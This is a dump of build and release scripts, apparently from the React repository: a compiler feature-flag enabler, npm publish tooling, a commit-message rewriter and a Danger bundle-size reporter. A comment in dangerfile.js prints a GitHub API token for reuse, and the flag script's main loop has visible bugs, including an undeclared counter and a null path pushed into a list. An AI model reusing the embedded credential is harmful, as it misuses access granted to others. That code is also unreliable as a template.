 const flagPatternFalse = new RegExp(\n    `(${escapeRegex(flagName)}:\\\\s*z\\\\.boolean\\\\(\\\\)\\\\.default\\\\()false(\\\\))`,\n    'g'\n  );\n\n  if (!flagPatternFalse.test(content)) {\n    // Check if flag exists at all\n    const flagExistsPattern = new RegExp(\n      `${escapeRegex(flagName)}:\\\\s*z\\\\.boolean\\\\(\\\\)`,\n      'g'\n    );\n    if (flagExistsPattern.test(content)) {\n      // Check if it's already true\n      const flagPatternTrue = new RegExp(\n        `${escapeRegex(flagName)}:\\\\s*z\\\\.boolean\\\\(\\\\)\\\\.default\\\\(true\\\\)`,\n        'g'\n      );\n      if (flagPatternTrue.test(content)) {\n        console.error(`Error: Flag \"${flagName}\" already has default(true)`);\n        process.exit(1);\n      }\n      console.error(\n        `Error: Flag \"${flagName}\" exists but doesn't have default(false)`\n      );\n      process.exit(1);\n    }\n    console.error(`Error: Flag \"${flagName}\" not found in Environment.ts`);\n    process.exit(1);\n  }\n\n  // Perform the replacement\n  const newContent = content.replace(flagPatternFalse, '$1true$2');\n\n  // Verify the replacement worked\n  if (content === newContent) {\n    console.error(`Error: Failed to replace flag \"${flagName}\"`);\n    process.exit(1);\n  }\n\n  fs.writeFileSync(ENVIRONMENT_TS_PATH, newContent, 'utf8');\n  console.log(`Successfully enabled \"${flagName}\" in Environment.ts`);\n}\n\n/**\n * Helper to escape regex special characters\n */\nfunction escapeRegex(string) {\n  return string.replace(/[.*+?^${}()|[\\]\\\\]/g, '\\\\$&');\n}\n\n/**\n * Run yarn snap and capture output\n */\nfunction runTests() {\n  console.log('\\nRunning test suite (yarn snap)...');\n\n  try {\n    const output = execSync('yarn snap', {\n      cwd: COMPILER_ROOT,\n      encoding: 'utf8',\n      stdio: 'pipe',\n      maxBuffer: 10 * 1024 * 1024, // 10MB buffer\n    });\n    return {success: true, output};\n  } catch (error) {\n    // yarn snap exits with code 1 when tests fail, which throws an error\n    return {success: false, output: error.stdout || error.message};\n  }\n}\n\n/**\n * Parse failing test names from test output\n */\nfunction parseFailingTests(output) {\n  const failingTests = [];\n\n  // Look for lines that contain \"FAIL:\" followed by the test name\n  // Format: \"FAIL: test-name\" or with ANSI codes\n  const lines = output.split('\\n');\n  for (const line of lines) {\n    // Remove ANSI codes for easier parsing\n    const cleanLine = line.replace(/\\x1b\\[[0-9;]*m/g, '');\n\n    // Match \"FAIL: test-name\"\n    const match = cleanLine.match(/^FAIL:\\s*(.+)$/);\n    if (match) {\n      failingTests.push(match[1].trim());\n    }\n  }\n\n  return failingTests;\n}\n\n/**\n * Find the fixture file for a given test name\n */\nfunction findFixtureFile(testName) {\n  const basePath = path.join(FIXTURES_PATH, testName);\n\n  for (const ext of FIXTURE_EXTENSIONS) {\n    const filePath = basePath + ext;\n    if (fs.existsSync(filePath)) {\n      return filePath;\n    }\n  }\n\n  return null;\n}\n\n/**\n * Add pragma to disable the feature flag in a fixture file\n */\nfunction addPragmaToFixture(filePath, flagName) {\n  const content = fs.readFileSync(filePath, 'utf8');\n  const lines = content.split('\\n');\n\n  if (lines.length === 0) {\n    console.warn(`Warning: Empty file ${filePath}`);\n    return false;\n  }\n\n  const firstLine = lines[0];\n  const pragma = `@${flagName}:false`;\n\n  // Check if pragma already exists\n  if (firstLine.includes(pragma)) {\n    return false; // Already has the pragma\n  }\n\n  // Check if first line is a single-line comment\n  if (firstLine.trim().startsWith('//')) {\n    // Append pragma to existing comment\n    lines[0] = firstLine + ' ' + pragma;\n  } else if (firstLine.trim().startsWith('/*')) {\n    // Multi-line comment - insert new line before it\n    lines.unshift('// ' + pragma);\n  } else {\n    // No comment - insert new comment as first line\n    lines.unshift('// ' + pragma);\n  }\n\n  fs.writeFileSync(filePath, lines.join('\\n'), 'utf8');\n  return true;\n}\n\n/**\n * Update snapshot files\n */\nfunction updateSnapshots() {\n  console.log('\\nUpdating snapshots (yarn snap -u)...');\n\n  try {\n    execSync('yarn snap -u', {\n      cwd: COMPILER_ROOT,\n      encoding: 'utf8',\n      stdio: 'pipe',\n      maxBuffer: 10 * 1024 * 1024,\n    });\n    console.log('Snapshots updated successfully');\n    return true;\n  } catch (error) {\n    console.error('Error updating snapshots:', error.message);\n    return false;\n  }\n}\n\n/**\n * Verify all tests pass\n */\nfunction verifyAllTestsPass() {\n  console.log('\\nRunning final verification (yarn snap)...');\n\n  const {success, output} = runTests();\n\n  // Parse summary line: \"N Tests, N Passed, N Failed\"\n  const summaryMatch = output.match(\n    /(\\d+)\\s+Tests,\\s+(\\d+)\\s+Passed,\\s+(\\d+)\\s+Failed/\n  );\n\n  if (summaryMatch) {\n    const [, total, passed, failed] = summaryMatch;\n    console.log(\n      `\\nTest Results: ${total} Tests, ${passed} Passed, ${failed} Failed`\n    );\n\n    if (failed === '0') {\n      console.log('All tests passed!');\n      return true;\n    } else {\n      console.error(`${failed} tests still failing`);\n      const failingTests = parseFailingTests(output);\n      if (failingTests.length > 0) {\n        console.error('\\nFailing tests:');\n        failingTests.forEach(test => console.error(`  - ${test}`));\n      }\n      return false;\n    }\n  }\n\n  return success;\n}\n\n/**\n * Main function\n */\nasync function main() {\n  const flagName = parseArgs();\n\n  console.log(`\\nEnabling flag: '${flagName}'`);\n\n  try {\n    // Step 1: Enable flag in Environment.ts\n    enableFlagInEnvironment(flagName);\n\n    // Step 2: Run tests to find failures\n    const {output} = runTests();\n    const failingTests = parseFailingTests(output);\n\n    console.log(`\\nFound ${failingTests.length} failing tests`);\n\n    if (failingTests.length === 0) {\n      console.log('No failing tests! Feature flag enabled successfully.');\n      process.exit(0);\n    }\n\n    // Step 3: Add pragma to each failing fixture\n    console.log(`\\nAdding '@${flagName}:false' pragma to failing fixtures...`);\n\n    const notFound = [];\n    let notFoundCount = 0;\n\n    for (const testName of failingTests) {\n      const fixturePath = findFixtureFile(testName);\n\n      if (!fixturePath) {\n        console.warn(`Could not find fixture file for: ${testName}`);\n        notFound.push(fixturePath);\n        continue;\n      }\n\n      const updated = addPragmaToFixture(fixturePath, flagName);\n      if (updated) {\n        updatedCount++;\n        console.log(`  Updated: ${testName}`);\n      }\n    }\n\n    console.log(\n      `\\nSummary: Updated ${updatedCount} fixtures, ${notFoundCount} not found`\n    );\n\n    if (notFoundCount.length !== 0) {\n      console.error(\n        '\\nFailed to update snapshots, could not find:\\n' + notFound.join('\\n')\n      );\n      process.exit(1);\n    }\n\n    // Step 4: Update snapshots\n    if (!updateSnapshots()) {\n      console.error('\\nFailed to update snapshots');\n      process.exit(1);\n    }\n\n    // Step 5: Verify all tests pass\n    if (!verifyAllTestsPass()) {\n      console.error('\\nVerification failed: Some tests are still failing');\n      process.exit(1);\n    }\n\n    console.log('\\nSuccess! Feature flag enabled and all tests passing.');\n    console.log(`\\nSummary:`);\n    console.log(`  - Enabled \"${flagName}\" in Environment.ts`);\n    console.log(`  - Updated ${updatedCount} fixture files with pragma`);\n    console.log(`  - All tests passing`);\n\n    process.exit(0);\n  } catch (error) {\n    console.error('\\nFatal error:', error.message);\n    console.error(error.stack);\n    process.exit(1);\n  }\n}\n\n// Run the script\nmain();\n"
  },
  {
    "path": "compiler/scripts/hash.sh",
    "content": "#!/usr/bin/env bash\n# Copyright (c) Meta Platforms, Inc. and affiliates.\n#\n# This source code is licensed under the MIT license found in the\n# LICENSE file in the root directory of this source tree.\n\nset -eo pipefail\n\n# Hashes JS files in the provided directory to create a cache-breaker\n\nfind $1 -name '*.js' | sort | xargs shasum | shasum | awk '{ print $1 }'\n"
  },
  {
    "path": "compiler/scripts/release/ci-npmrc",
    "content": "//registry.npmjs.org/:_authToken=${NPM_TOKEN}\n"
  },
  {
    "path": "compiler/scripts/release/prompt-for-otp.js",
    "content": "#!/usr/bin/env node\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nconst prompt = require('prompt-promise');\n\nconst run = async () => {\n  while (true) {\n    const otp = await prompt('NPM 2-factor auth code: ');\n    prompt.done();\n    if (otp) {\n      return otp;\n    } else {\n      console.error('\\nTwo-factor auth is required to publish.');\n      // (Ask again.)\n    }\n  }\n};\n\nmodule.exports = run;\n"
  },
  {
    "path": "compiler/scripts/release/publish.js",
    "content": "#!/usr/bin/env node\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\nconst ora = require('ora');\nconst path = require('path');\nconst yargs = require('yargs');\nconst {hashElement} = require('folder-hash');\nconst promptForOTP = require('./prompt-for-otp');\nconst {PUBLISHABLE_PACKAGES} = require('./shared/packages');\nconst {\n  execHelper,\n  getDateStringForCommit,\n  spawnHelper,\n} = require('./shared/utils');\nconst {buildPackages} = require('./shared/build-packages');\nconst {readJson, writeJson} = require('fs-extra');\n\n/**\n * Script for publishing PUBLISHABLE_PACKAGES to npm. By default, this runs in tarball mode, meaning\n * the script will only print out what the contents of the files included in the npm tarball would\n * be.\n *\n * Please run this first (ie `yarn npm:publish`) and double check the contents of the files that\n * will be pushed to npm.\n *\n * If it looks good, you can run `yarn npm:publish --for-real` to really publish to npm. You must\n * have 2FA enabled first and the script will prompt you to enter a 2FA code before proceeding.\n * There's a small annoying delay before the packages are actually pushed to give you time to panic\n * cancel. In this mode, we will bump the version field of each package's package.json, and git\n * commit it. Then, the packages will be published to npm.\n *\n * Optionally, you can add the `--debug` flag to `yarn npm:publish --debug --for-real` to run all\n * steps, but the final npm publish step will have the `--dry-run` flag added to it. This will make\n * the command only report what it would have done, instead of actually publishing to npm.\n */\nasync function main() {\n  const argv = yargs(process.argv.slice(2))\n    .option('packages', {\n      description: 'which packages to publish, defaults to all',\n      choices: PUBLISHABLE_PACKAGES,\n      default: PUBLISHABLE_PACKAGES,\n    })\n    .option('for-real', {\n      alias: 'frfr',\n      description:\n        'whether to publish to npm (npm publish) or dryrun (npm publish --dry-run)',\n      type: 'boolean',\n      default: false,\n    })\n    .option('debug', {\n      description:\n        'If enabled, will always run npm commands in dry run mode irregardless of the for-real flag',\n      type: 'boolean',\n      default: false,\n    })\n    .option('ci', {\n      description: 'Publish packages via CI',\n      type: 'boolean',\n      default: false,\n    })\n    .option('tag', {\n      description: 'Tag to publish to npm',\n      type: 'choices',\n      choices: ['experimental', 'beta', 'rc', 'latest'],\n      default: 'experimental',\n    })\n    .option('tag-version', {\n      description:\n        'Optional tag version to append to tag name, eg `1` becomes 0.0.0-rc.1',\n      type: 'number',\n      default: null,\n    })\n    .option('version-name', {\n      description: 'Version name',\n      type: 'string',\n      default: '0.0.0',\n    })\n    .help('help')\n    .strict()\n    .parseSync();\n\n  if (argv.debug === false) {\n    const currBranchName = await execHelper('git rev-parse --abbrev-ref HEAD');\n    const isPristine = (await execHelper('git status --porcelain')) === '';\n    if (currBranchName !== 'main' || isPristine === false) {\n      throw new Error(\n        'This script must be run from the `main` branch with no uncommitted changes'\n      );\n    }\n  }\n\n  let pkgNames = argv.packages;\n  if (Array.isArray(argv.packages) === false) {\n    pkgNames = [argv.packages];\n  }\n  const spinner = ora(\n    `Preparing to publish ${argv.versionName}@${argv.tag} ${\n      argv.forReal === true ? '(for real)' : '(dry run)'\n    } [debug=${argv.debug}]`\n  ).info();\n\n  await buildPackages(pkgNames);\n\n  if (argv.forReal === false) {\n    spinner.info('Dry run: Report tarball contents');\n    for (const pkgName of pkgNames) {\n      console.log(`\\n========== ${pkgName} ==========\\n`);\n      spinner.start(`Running npm pack --dry-run\\n`);\n      try {\n        await spawnHelper('npm', ['pack', '--dry-run'], {\n          cwd: path.resolve(__dirname, `../../packages/${pkgName}`),\n          stdio: 'inherit',\n        });\n      } catch (e) {\n        spinner.fail(e.toString());\n        throw e;\n      }\n      spinner.stop(`Successfully packed ${pkgName} (dry run)`);\n    }\n    spinner.succeed(\n      'Please confirm contents of packages before publishing. You can run this command again with --for-real to publish to npm'\n    );\n  }\n\n  if (argv.forReal === true) {\n    const commit = await execHelper(\n      'git show -s --no-show-signature --format=%h',\n      {\n        cwd: path.resolve(__dirname, '..'),\n      }\n    );\n    const dateString = await getDateStringForCommit(commit);\n    const otp =\n      argv.ci === false && argv.debug === false ? await promptForOTP() : null;\n    const {hash} = await hashElement(path.resolve(__dirname, '../..'), {\n      encoding: 'hex',\n      folders: {exclude: ['node_modules']},\n      files: {exclude: ['.DS_Store']},\n    });\n    const truncatedHash = hash.slice(0, 7);\n    let newVersion;\n    if (argv.tag === 'latest') {\n      newVersion = argv.versionName;\n    } else {\n      newVersion =\n        argv.tagVersion == null || argv.tagVersion === ''\n          ? `${argv.versionName}-${argv.tag}`\n          : `${argv.versionName}-${argv.tag}.${argv.tagVersion}`;\n    }\n    if (argv.tag === 'experimental' || argv.tag === 'beta') {\n      newVersion = `${newVersion}-${truncatedHash}-${dateString}`;\n    }\n\n    for (const pkgName of pkgNames) {\n      const pkgDir = path.resolve(__dirname, `../../packages/${pkgName}`);\n      const pkgJsonPath = path.resolve(\n        __dirname,\n        `../../packages/${pkgName}/package.json`\n      );\n\n      spinner.start(`Writing package.json for ${pkgName}@${newVersion}`);\n      await writeJson(\n        pkgJsonPath,\n        {\n          ...(await readJson(pkgJsonPath)),\n          version: newVersion,\n        },\n        {spaces: 2}\n      );\n      spinner.succeed(`Wrote package.json for ${pkgName}@${newVersion}`);\n\n      console.log(`\\n========== ${pkgName} ==========\\n`);\n      spinner.start(`Publishing ${pkgName}@${newVersion} to npm\\n`);\n\n      let opts = [];\n      if (argv.debug === true) {\n        opts.push('--dry-run');\n      }\n      if (otp != null) {\n        opts.push(`--otp=${otp}`);\n      }\n\n      opts.push(`--tag=${argv.tag}`);\n\n      try {\n        await spawnHelper(\n          'npm',\n          ['publish', ...opts, '--registry=https://registry.npmjs.org'],\n          {\n            cwd: pkgDir,\n            stdio: 'inherit',\n          }\n        );\n        console.log('\\n');\n      } catch (e) {\n        spinner.fail(e.toString());\n        throw e;\n      }\n      spinner.succeed(`Successfully published ${pkgName} to npm`);\n\n      spinner.start('Pushing tags to npm');\n      if (typeof argv.tag === 'string') {\n        try {\n          let opts = ['dist-tag', 'add', `${pkgName}@${newVersion}`, argv.tag];\n          if (otp != null) {\n            opts.push(`--otp=${otp}`);\n          }\n          if (argv.debug === true) {\n            spinner.info(`dry-run: npm ${opts.join(' ')}`);\n          } else {\n            await spawnHelper('npm', opts, {\n              cwd: pkgDir,\n              stdio: 'inherit',\n            });\n          }\n        } catch (e) {\n          spinner.fail(e.toString());\n          throw e;\n        }\n        spinner.succeed(\n          `Successfully pushed dist-tag ${argv.tag} for ${pkgName} to npm`\n        );\n      }\n    }\n\n    console.log('\\n\\n✅ All done');\n  }\n}\n\nmain();\n"
  },
  {
    "path": "compiler/scripts/release/shared/build-packages.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nconst ora = require('ora');\nconst {execHelper} = require('./utils');\n\nasync function buildPackages(pkgNames) {\n  const spinner = ora(`Building packages`).info();\n  for (const pkgName of pkgNames) {\n    const command = `NODE_ENV=production yarn workspace ${pkgName} run build --dts`;\n    spinner.start(`Running: ${command}\\n`);\n    try {\n      await execHelper(command);\n    } catch (e) {\n      spinner.fail(e.toString());\n      throw e;\n    }\n    spinner.succeed(`Successfully built ${pkgName}`);\n  }\n  spinner.stop();\n}\n\nmodule.exports = {\n  buildPackages,\n};\n"
  },
  {
    "path": "compiler/scripts/release/shared/packages.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nconst PUBLISHABLE_PACKAGES = [\n  'babel-plugin-react-compiler',\n  'react-compiler-healthcheck',\n  'react-compiler-runtime',\n];\n\nmodule.exports = {\n  PUBLISHABLE_PACKAGES,\n};\n"
  },
  {
    "path": "compiler/scripts/release/shared/utils.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nconst cp = require('child_process');\nconst util = require('util');\n\nfunction execHelper(command, options, streamStdout = false) {\n  return new Promise((resolve, reject) => {\n    const proc = cp.exec(command, options, (error, stdout) =>\n      error ? reject(error) : resolve(stdout.trim())\n    );\n    if (streamStdout) {\n      proc.stdout.pipe(process.stdout);\n    }\n  });\n}\n\nfunction _spawn(command, args, options, cb) {\n  const child = cp.spawn(command, args, options);\n  child.on('close', exitCode => {\n    cb(null, exitCode);\n  });\n  return child;\n}\nconst spawnHelper = util.promisify(_spawn);\n\nasync function getDateStringForCommit(commit) {\n  let dateString = await execHelper(\n    `git show -s --no-show-signature --format=%cd --date=format:%Y%m%d ${commit}`\n  );\n\n  // On CI environment, this string is wrapped with quotes '...'s\n  if (dateString.startsWith(\"'\")) {\n    dateString = dateString.slice(1, 9);\n  }\n\n  return dateString;\n}\n\nmodule.exports = {\n  execHelper,\n  spawnHelper,\n  getDateStringForCommit,\n};\n"
  },
  {
    "path": "compiler/scripts/update-commit-message.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * INSTALLATION:\n *   - `$ npm install octokit\n *   - Get a token from https://github.com/settings/tokens for use in the command below,\n *     set the token value as the GITHUB_AUTH_TOKEN environment variable\n *\n *  USAGE:\n *   - $ GITHUB_AUTH_TOKEN=\"...\" git filter-branch -f --msg-filter \"node update-commit-message.js\" 2364096862b72cf4d801ef2008c54252335a2df9..HEAD\n */\n\nconst {Octokit, App} = require('octokit');\nconst fs = require('fs');\n\nconst OWNER = 'facebook';\nconst REPO = 'react-forget';\nconst octokit = new Octokit({auth: process.env.GITHUB_AUTH_TOKEN});\n\nconst fetchPullRequest = async pullNumber => {\n  const response = await octokit.request(\n    'GET /repos/{owner}/{repo}/pulls/{pull_number}',\n    {\n      owner: OWNER,\n      repo: REPO,\n      pull_number: pullNumber,\n      headers: {\n        'X-GitHub-Api-Version': '2022-11-28',\n      },\n    }\n  );\n  return {body: response.data.body, title: response.data.title};\n};\n\nfunction formatCommitMessage(str) {\n  let formattedStr = '';\n  let line = '';\n\n  const trim = str.replace(/(\\r\\n|\\n|\\r)/gm, ' ').trim();\n  if (!trim) {\n    return '';\n  }\n\n  // Split the string into words\n  const words = trim.split(' ');\n  // Iterate over each word\n  for (let i = 0; i < words.length; i++) {\n    // If adding the next word doesn't exceed the line length limit, add it to the line\n    if ((line + words[i]).length <= 80) {\n      line += words[i] + ' ';\n    } else {\n      // Otherwise, add the line to the formatted string and start a new line\n      formattedStr += line + '\\n';\n      line = words[i] + ' ';\n    }\n  }\n  // Add the last line to the formatted string\n  formattedStr += line;\n  return formattedStr;\n}\n\nfunction filterMsg(response) {\n  const {body, title} = response;\n\n  const msgs = body.split('\\n\\n').flatMap(x => x.split('\\r\\n'));\n\n  const newMessage = [];\n\n  // Add title\n  msgs.unshift(title);\n\n  for (const msg of msgs) {\n    // remove \"Stack from [ghstack] blurb\"\n    if (msg.startsWith('Stack from ')) {\n      continue;\n    }\n\n    // remove \"* #1234\"\n    if (msg.startsWith('* #')) {\n      continue;\n    }\n\n    // remove \"* __->__ #1234\"\n    if (msg.startsWith('* __')) {\n      continue;\n    }\n\n    const formattedStr = formatCommitMessage(msg);\n    if (!formattedStr) {\n      continue;\n    }\n    newMessage.push(formattedStr);\n  }\n\n  const updatedMsg = newMessage.join('\\n\\n');\n  return updatedMsg;\n}\n\nfunction parsePullRequestNumber(text) {\n  if (!text) {\n    return null;\n  }\n  const ghstackUrlRegex =\n    /https:\\/\\/github\\.com\\/[\\w.-]+\\/[\\w.-]+\\/pull\\/(\\d+)/;\n  const ghstackMatch = text.match(ghstackUrlRegex);\n  if (ghstackMatch) {\n    return ghstackMatch[1];\n  }\n  const firstLine = text.split('\\n').filter(text => text.trim().length > 0)[0];\n  if (firstLine == null) {\n    return null;\n  }\n  const prNumberRegex = /\\(#(\\d{3,})\\)\\s*$/;\n  const prNumberMatch = firstLine.match(prNumberRegex);\n  if (prNumberMatch) {\n    return prNumberMatch[1];\n  }\n  return null;\n}\n\nasync function main() {\n  const data = fs.readFileSync(0, 'utf-8');\n  const pr = parsePullRequestNumber(data);\n\n  if (pr) {\n    try {\n      const response = await fetchPullRequest(pr);\n      if (!response.body) {\n        console.log(data);\n        return;\n      }\n      const newMessage = filterMsg(response);\n      console.log(newMessage);\n      return;\n    } catch (e) {\n      console.log(data);\n      return;\n    }\n  }\n\n  console.log(data);\n}\n\nmain();\n"
  },
  {
    "path": "dangerfile.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\n/* eslint-disable no-for-of-loops/no-for-of-loops */\n\n// Hi, if this is your first time editing/reading a Dangerfile, here's a summary:\n// It's a JS runtime which helps you provide continuous feedback inside GitHub.\n//\n// You can see the docs here: http://danger.systems/js/\n//\n// If you want to test changes Danger, I'd recommend checking out an existing PR\n// and then running the `danger pr` command.\n//\n// You'll need a GitHub token, you can re-use this one:\n//\n//  0a7d5c3cad9a6dbec2d9 9a5222cf49062a4c1ef7\n//\n// (Just remove the space)\n//\n// So, for example:\n//\n// `DANGER_GITHUB_API_TOKEN=[ENV_ABOVE] yarn danger pr https://github.com/facebook/react/pull/11865\n\nconst {markdown, danger, warn} = require('danger');\nconst {promisify} = require('util');\nconst glob = promisify(require('glob'));\nconst gzipSize = require('gzip-size');\nconst {writeFileSync} = require('fs');\n\nconst {readFileSync, statSync} = require('fs');\n\nconst BASE_DIR = 'base-build';\nconst HEAD_DIR = 'build';\n\nconst CRITICAL_THRESHOLD = 0.02;\nconst SIGNIFICANCE_THRESHOLD = 0.002;\nconst CRITICAL_ARTIFACT_PATHS = new Set([\n  // We always report changes to these bundles, even if the change is\n  // insignificant or non-existent.\n  'oss-stable/react-dom/cjs/react-dom.production.js',\n  'oss-stable/react-dom/cjs/react-dom-client.production.js',\n  'oss-experimental/react-dom/cjs/react-dom.production.js',\n  'oss-experimental/react-dom/cjs/react-dom-client.production.js',\n  'facebook-www/ReactDOM-prod.classic.js',\n  'facebook-www/ReactDOM-prod.modern.js',\n]);\n\nconst kilobyteFormatter = new Intl.NumberFormat('en', {\n  style: 'unit',\n  unit: 'kilobyte',\n  minimumFractionDigits: 2,\n  maximumFractionDigits: 2,\n});\n\nfunction kbs(bytes) {\n  return kilobyteFormatter.format(bytes / 1000);\n}\n\nconst percentFormatter = new Intl.NumberFormat('en', {\n  style: 'percent',\n  signDisplay: 'exceptZero',\n  minimumFractionDigits: 2,\n  maximumFractionDigits: 2,\n});\n\nfunction change(decimal) {\n  if (decimal === Infinity) {\n    return 'New file';\n  }\n  if (decimal === -1) {\n    return 'Deleted';\n  }\n  if (decimal < 0.0001) {\n    return '=';\n  }\n  return percentFormatter.format(decimal);\n}\n\nconst header = `\n  | Name | +/- | Base | Current | +/- gzip | Base gzip | Current gzip |\n  | ---- | --- | ---- | ------- | -------- | --------- | ------------ |`;\n\nfunction row(result, baseSha, headSha) {\n  const diffViewUrl = `https://react-builds.vercel.app/commits/${headSha}/files/${result.path}?compare=${baseSha}`;\n  const rowArr = [\n    `| [${result.path}](${diffViewUrl})`,\n    `**${change(result.change)}**`,\n    `${kbs(result.baseSize)}`,\n    `${kbs(result.headSize)}`,\n    `${change(result.changeGzip)}`,\n    `${kbs(result.baseSizeGzip)}`,\n    `${kbs(result.headSizeGzip)}`,\n  ];\n  return rowArr.join(' | ');\n}\n\n(async function () {\n  // Use git locally to grab the commit which represents the place\n  // where the branches differ\n\n  const upstreamRepo = danger.github.pr.base.repo.full_name;\n  if (upstreamRepo !== 'facebook/react') {\n    // Exit unless we're running in the main repo\n    return;\n  }\n\n  let headSha;\n  let baseSha;\n  try {\n    headSha = String(readFileSync(HEAD_DIR + '/COMMIT_SHA')).trim();\n    baseSha = String(readFileSync(BASE_DIR + '/COMMIT_SHA')).trim();\n  } catch {\n    warn(\n      \"Failed to read build artifacts. It's possible a build configuration \" +\n        'has changed upstream. Try pulling the latest changes from the ' +\n        'main branch.'\n    );\n    return;\n  }\n\n  // Disable sizeBot in a Devtools Pull Request. Because that doesn't affect production bundle size.\n  const commitFiles = [\n    ...danger.git.created_files,\n    ...danger.git.deleted_files,\n    ...danger.git.modified_files,\n  ];\n  if (\n    commitFiles.every(filename => filename.includes('packages/react-devtools'))\n  )\n    return;\n\n  const resultsMap = new Map();\n\n  // Find all the head (current) artifacts paths.\n  const headArtifactPaths = await glob('**/*.js', {cwd: 'build'});\n  for (const artifactPath of headArtifactPaths) {\n    try {\n      // This will throw if there's no matching base artifact\n      const baseSize = statSync(BASE_DIR + '/' + artifactPath).size;\n      const baseSizeGzip = gzipSize.fileSync(BASE_DIR + '/' + artifactPath);\n\n      const headSize = statSync(HEAD_DIR + '/' + artifactPath).size;\n      const headSizeGzip = gzipSize.fileSync(HEAD_DIR + '/' + artifactPath);\n      resultsMap.set(artifactPath, {\n        path: artifactPath,\n        headSize,\n        headSizeGzip,\n        baseSize,\n        baseSizeGzip,\n        change: (headSize - baseSize) / baseSize,\n        changeGzip: (headSizeGzip - baseSizeGzip) / baseSizeGzip,\n      });\n    } catch {\n      // There's no matching base artifact. This is a new file.\n      const baseSize = 0;\n      const baseSizeGzip = 0;\n      const headSize = statSync(HEAD_DIR + '/' + artifactPath).size;\n      const headSizeGzip = gzipSize.fileSync(HEAD_DIR + '/' + artifactPath);\n      resultsMap.set(artifactPath, {\n        path: artifactPath,\n        headSize,\n        headSizeGzip,\n        baseSize,\n        baseSizeGzip,\n        change: Infinity,\n        changeGzip: Infinity,\n      });\n    }\n  }\n\n  // Check for base artifacts that were deleted in the head.\n  const baseArtifactPaths = await glob('**/*.js', {cwd: 'base-build'});\n  for (const artifactPath of baseArtifactPaths) {\n    if (!resultsMap.has(artifactPath)) {\n      const baseSize = statSync(BASE_DIR + '/' + artifactPath).size;\n      const baseSizeGzip = gzipSize.fileSync(BASE_DIR + '/' + artifactPath);\n      const headSize = 0;\n      const headSizeGzip = 0;\n      resultsMap.set(artifactPath, {\n        path: artifactPath,\n        headSize,\n        headSizeGzip,\n        baseSize,\n        baseSizeGzip,\n        change: -1,\n        changeGzip: -1,\n      });\n    }\n  }\n\n  const results = Array.from(resultsMap.values());\n  results.sort((a, b) => b.change - a.change);\n\n  let criticalResults = [];\n  for (const artifactPath of CRITICAL_ARTIFACT_PATHS) {\n    const result = resultsMap.get(artifactPath);\n    if (result === undefined) {\n      throw new Error(\n        'Missing expected bundle. If this was an intentional change to the ' +\n          'build configuration, update Dangerfile.js accordingly: ' +\n          artifactPath\n      );\n    }\n    criticalResults.push(row(result, baseSha, headSha));\n  }\n\n  let significantResults = [];\n  for (const result of results) {\n    // If result exceeds critical threshold, add to top section.\n    if (\n      (result.change > CRITICAL_THRESHOLD ||\n        0 - result.change > CRITICAL_THRESHOLD ||\n        // New file\n        result.change === Infinity ||\n        // Deleted file\n        result.change === -1) &&\n      // Skip critical artifacts. We added those earlier, in a fixed order.\n      !CRITICAL_ARTIFACT_PATHS.has(result.path)\n    ) {\n      criticalResults.push(row(result, baseSha, headSha));\n    }\n\n    // Do the same for results that exceed the significant threshold. These\n    // will go into the bottom, collapsed section. Intentionally including\n    // critical artifacts in this section, too.\n    if (\n      result.change > SIGNIFICANCE_THRESHOLD ||\n      0 - result.change > SIGNIFICANCE_THRESHOLD ||\n      result.change === Infinity ||\n      result.change === -1\n    ) {\n      significantResults.push(row(result, baseSha, headSha));\n    }\n  }\n\n  const message = `\nComparing: ${baseSha}...${headSha}\n\n## Critical size changes\n\nIncludes critical production bundles, as well as any change greater than ${\n    CRITICAL_THRESHOLD * 100\n  }%:\n\n${header}\n${criticalResults.join('\\n')}\n\n## Significant size changes\n\nIncludes any change greater than ${SIGNIFICANCE_THRESHOLD * 100}%:\n\n${\n  significantResults.length > 0\n    ? `\n<details>\n<summary>Expand to show</summary>\n${header}\n${significantResults.join('\\n')}\n</details>\n`\n    : '(No significant changes)'\n}\n`;\n\n  // GitHub comments are limited to 65536 characters.\n  if (message.length > 65536) {\n    // Make message available as an artifact\n    writeFileSync('sizebot-message.md', message);\n    markdown(\n      'The size diff is too large to display in a single comment. ' +\n        `The GitHub action for this pull request contains an artifact called 'sizebot-message.md' with the full message.`\n    );\n  } else {\n    markdown(message);\n  }\n})();\n"
  },
  {
    "path": "fixtures/art/.gitignore",
    "content": "bundle.js"
  },
  {
    "path": "fixtures/art/README.md",
    "content": "# VectorWidget example\n\nTo try this example, run:\n\n```\nyarn\nyarn build\n```\n\nin this directory, then open index.html in your browser.\n"
  },
  {
    "path": "fixtures/art/VectorWidget.js",
